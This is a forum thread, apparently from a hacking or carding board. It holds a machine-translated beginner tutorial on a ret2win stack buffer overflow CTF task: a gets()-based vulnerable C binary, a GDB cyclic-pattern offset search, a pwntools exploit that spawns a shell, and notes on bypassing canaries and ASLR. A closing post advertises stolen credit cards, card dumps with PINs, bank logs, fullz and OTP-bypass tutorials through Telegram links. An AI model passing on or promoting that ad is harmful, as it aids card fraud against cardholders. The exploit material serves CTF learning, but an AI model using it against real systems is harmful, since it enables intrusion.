Parsing pwn-task buffer overflow from scratch

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
404
Reaction score
651
Deposit
0$
Ret2win: basic operating equipment buffer overflow

Ret2win is the simplest binary operating scenario on CTF. In the binary is a function (usually win(), flag(), shell()), which no one causes. The task is to overwhelm the buffer on the stack, overwrite the return address of this function and force the processor to perform it instead of the normal one return.

If you mapp on MITRE ATT&CK – overflowing the buffer with the interception of control is closest to the Exploitation for Client Execution (T1203, Execution) or to the Exploitation for Privilege Escalation (T1068) when the vulnerable binary works with increased privileges. Mapping conditional: T1203 about client-side attacks (browsers, office packages), and not training CTF-binary, but primitive itself - intercepting the flow of execution through memory corruption - the same.

Ret2win on CTF is triggered under three conditions:

Stack canary disabled – otherwise the re-recording abroad of the buffer will change the canary value, __stack_chk_fail kill the process before execution ret.
PIE disabled – addresses inside the binary are fixed at each start. With PIE address win() randomizes and needs an ELF base leak.
The win function address is known – pulled out of the symbol table through ELF.symbols in pwntools or through disassembly.

NX (non-performable stack) for ret2win is not an obstacle: we do not put shellcode on the stack, but redirect the run stream to the code that is already in the section .text Binary. The fundamental difference between ret2win and shellcode injection is the reason why the technique remains working even with NX enabled. “The goal is exploit to a vulnerability in a vulnerability given to the correct to execute a specific, uninvoked function within the binary” – NX has nothing to do with it.
Checksec: Binary Analysis Before Writing Exploit

Pwn-task does not start with payload, but with intelligence. checksec --file=./vuln (the utility is included in pwntools) shows the protection profile. Four lines determine which path of exploitation is generally open:

Canary - No means that overflow reaches the return address without triggering the protection.
NX - Enabled prohibits the execution of code on the stack. For ret2win is not critical, for shellcode – stop.
PIE - No fixes the ELF base. Address win() will be the same between launches.
RELRO - Partial or Full affects the GOT overwriting, but for the basic ret2win the role does not play.

We also check the architecture: file ./vuln. The bit determines the size of the address (4 or 8 bytes), the packing function (p32 vs p64) and the call convention. For the first tack, take 32-bit - fewer pitfalls with the alignment of the stack.

Minimum vulnerable ret2win style binary:

#include <stdio.h>
#include <stdlib.h>

void win() { system("/bin/sh"); }

void vuln() {
char buf[64];
gets(buf);
}

int main() { vuln(); return 0; }

gets() reads input to the new line symbol without checking the length — the canonical vulnerability of buffer overflow on the stack. Compile with disabled protections: gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c. Flag -m32 gives a 32-bit assembly, -fno-stack-protector removes canary, -no-pie fix addresses. -z execstack makes the stack executable and disables the NX – for ret2win it is optional (NX does not interfere as described above), but will be useful when experimenting with shellcode. Because of this flag checksec show NX – Disabled; for a clean ret2win demonstration at NX Enabled, the flag can be removed. After compilation checksec --file=./vuln must show: Canary — No, NX — Disabled (or Enabled without -z execstack), PIE - No. If at least one protection is enabled, double-check the flags.
GDB debugging: search offset through cyclic pattern

Offset — the number of bytes from the start of the buffer to the return address on the stack. If the number is incorrect, address win() will fall into the wrong position, and instead of shell – SIGSEGV without a useful diagnosis. You know that, right?

Counting offset by source code is an error that all beginners are stepping on. The compiler adds alignment (alignment padding), and real distance from buf[0] to saved EIP is almost always different from naive sizeof(buf) + 4 (where +4 is saved EBP). Instead of manual counting, we use cyclic pattern – De Bruyne sequence, where each substring is 4 bytes long (for 32-bit) unique. According to any 4-byte fragment, it is possible to uniquely define its position in the original line.

Order of action. Open the binary in GDB with pwndbg: gdb ./vuln. Generating the pattern with the team cyclic 200 directly inside the debugger – or in a separate terminal through python3 -c "from pwn import *; print(cyclic(200).decode())". Launch: run, insert the pattern on the input. The binary falls with SIGSEGV because the EIP received the “address” that is actually a fragment of the pattern. pwndbg will highlight the EIP value in red – let’s say, 0x6161616c.

Define the position: cyclic -l 0x6161616c. pwntools will return the number – this is the offset. For buf[64] at 32-bit the typical value in the range of 68-80 bytes, but the specific figure depends on the version of the GCC and the compilation flags. That is why it is pointless to guess – cyclic gives an accurate answer.

Verification. Before writing the exploit, we must confirm the offset: we submit a line from offset symbols 'A' and four symbols 'B'. If the EIP became 0x42424242 ('B' = 0x42 in ASCII) – offset faithful. Another value is to recalculate. 30 seconds to check save debugging hours. Skipping this step is the number one reason for the protracted parsement for those who are just starting to solve CTF pwn for beginners. I'm on my first hang out here and stuck (see intro).

Frequent confusion: after crash, you need to look at the EIP (on 32-bit) or RIP (on 64-bit) - this is the register where the overwritten return address got. ESP/RSP at this point indicates the top of the stack and the offset does not apply.
Writing an exploit buffer overflow in Python pwntools

Offset found, address win() Pull out: elf = ELF('./vuln'); print(hex(elf.symbols['win'])) or in GDB team p &win. Let's say the address - 0x08049196. PIE is disabled – the value is stable between launches. Collect payload:

from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

offset = 76
payload = b'A' * offset
payload += p32(elf.symbols['win'])

p.sendline(payload)
p.interactive()

Disassembly on the lines - for those who write exploit for the first time. ELF('./vuln') parsit ELF file, pulls out the symbol table and automatically exposes context.binary - after that p32() knows the architecture and order of bytes without explicit indication context.arch. elf.symbols['win'] return the function address without manual picking through objdump.

process('./vuln') starts the binary locally. For a remote CTF server - one replacement: remote('ctf.example.com', 1337), the rest of the script is unchanged. In this, the power of pwntools: the same exploit works on the local machine and on the remote.

b'A' * offset – garbage padding, filling buffer and saved EBP. The symbol 0x41 visible in the hex-dampa when debugging - immediately it is clear where our data.

p32(elf.symbols['win']) packs address in 4 bytes little-endian. Address 0x08049196 in memory stored as \x96\x91\x04\x08 - Junior byte first. As ir0nstone writes in ret2win notes: "the tests by have been reversed, and the reason for this reversal is endianness." p32() makes the conversion automatically – manually recording the address “in human order” breaks silently, and you will be staring at GDB for an hour, not understanding why everything is right, but does not work.

p.sendline() sends payload with \n - gets() waiting for the transfer of the line. p.interactive() transmits the I/O to the terminal. Launch: python3 exploit.py. Appeared $ – overflow of the buffer on the stack worked, the return address was overwritten, the processor performed system("/bin/sh"). The beauty.
Typical errors when debugging buffer overflow exploit
Incorrect offset is the most common problem

Reasons: misread hex from EIP, confused hex and decimal at cyclic -l, missed verification through 0x42424242. It is also thinner: on one machine, one is offset, on the other, the other, because different versions of GCC or glibc. Therefore, cyclic pattern needs to be driven on the target system, not on your laptop.
ASLR and PIE are included simultaneously

With ASLR included, the stacks and libraries are randomized at each launch. For ret2win with PIE disabled, this is not critical – the addresses inside the ELF itself are fixed. But if the PIE is included, the address win() swims and exploits break. Check: cat /proc/sys/kernel/randomize_va_space. Significance 0 – ASLR is off. For training tasks: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space. Return back: echo 2 | sudo tee /proc/sys/kernel/randomize_va_space.
Stack alignment on x86-64

On a 64-bit architecture, the stack should be aligned by 16 bytes before calling functions. If after overwriting the return address the alignment is broken, the instruction movaps inside system() from libc generates SIGSEGV — although the address is correct and the management is formally transferred.

This is a trap that everyone who has switched from 32-bit without preparation. The exploit looks correct, the address is correct, and shell does not appear. You sit, you look, it's right. And it doesn't work. Solution: before the address win() add one gadget ret (single instruction ret from the binary) who will shift the RSP to 8 bytes and restore the alignment. Find Gadget: ROPgadget --binary ./vuln | grep ": ret$". There is no problem on 32-bit - so the first boards are better to solve on 32-bit binary.
ASLR and NX: protection of the stack against buffer overflow by MITRE D3FEND

Ret2win works in greenhouse conditions – protection is disabled. In real binary, each countermeasure blocks a specific step of the exploit. According to the classification of MITRE D3FEND:

Stack Frame Canary Validation (D3-SFCV) – canary value between the buffer and the return address. Recording the buffer changes canary, __stack_chk_fail kills the process. Bypass: leak through format string, brute-force on fork servers.
Segment Address Offset Randomization (D3-SAOR) – ASLR randomizes the addresses of libraries and stack. With PIE, ELF itself is randomized. Bypass: address leakage through PLT/GOT and recalculating the libc database (this is ret2libc).
Shadow Stack Comparisons (D3-SSC) – hardware shadow copy of return addresses. At ret value is compared to shadow stack – substitution is detected. Bypassing is much more difficult and goes beyond the basic CTFs.
Memory Boundary Tracking (D3-MBT) — detection of out-of-bounds recordings through AddressSanitizer or hardware extensions.
 
NONVBV SHOP AUTO/NON VBV bins US/Asia/CA/AU and all WORLD MIX



NON VBV CC’s FOR ALL COUNTRIES WITH GOOD BALANCE AND VALIDITY RATE


TELE ID: https://t.me/Q_FATLOU1

SELLING DUMPS+PIN AND WITHOUT PIN
EBT SNAP+ CASH BALANCE

TELE GC: https://t.me/+5d7pt9cilh5hZjMx

PIECES ARE GOOD FOR ALL YOUR ONLINE

•PAYING

•AUTO ADD

•SELF REG

Uk 🇬🇧CC


USA 🇺🇸CC


CAN 🇨🇦CC


AUS 🇦🇺CC


CHINA 🇨🇳 CC


EGYPT 🇪🇬 CC


BANK LOGS+FULL INFO

EBT SNAP&BALNCE

SELL DUMPS

(TRACK1&2)

(WITH OR WITHOUT PIN)

FULLZ+ LEADS

YOU GOT A CC AND WANT TO BYPASS ALL OTP METHODS AND TUTORIALS ARE AVAILABLE AS WELL


ALL YOUR LEADS COMING WITH FULL INFO

BANK LOGS+FULL INFO WITH FULL EMAIL ACCESS

REPLACEMENT POLICY IS WITHIN 6-10 HOURS




TELEGRAM GROUP : https://t.me/+5d7pt9cilh5hZjMx
 
Top Bottom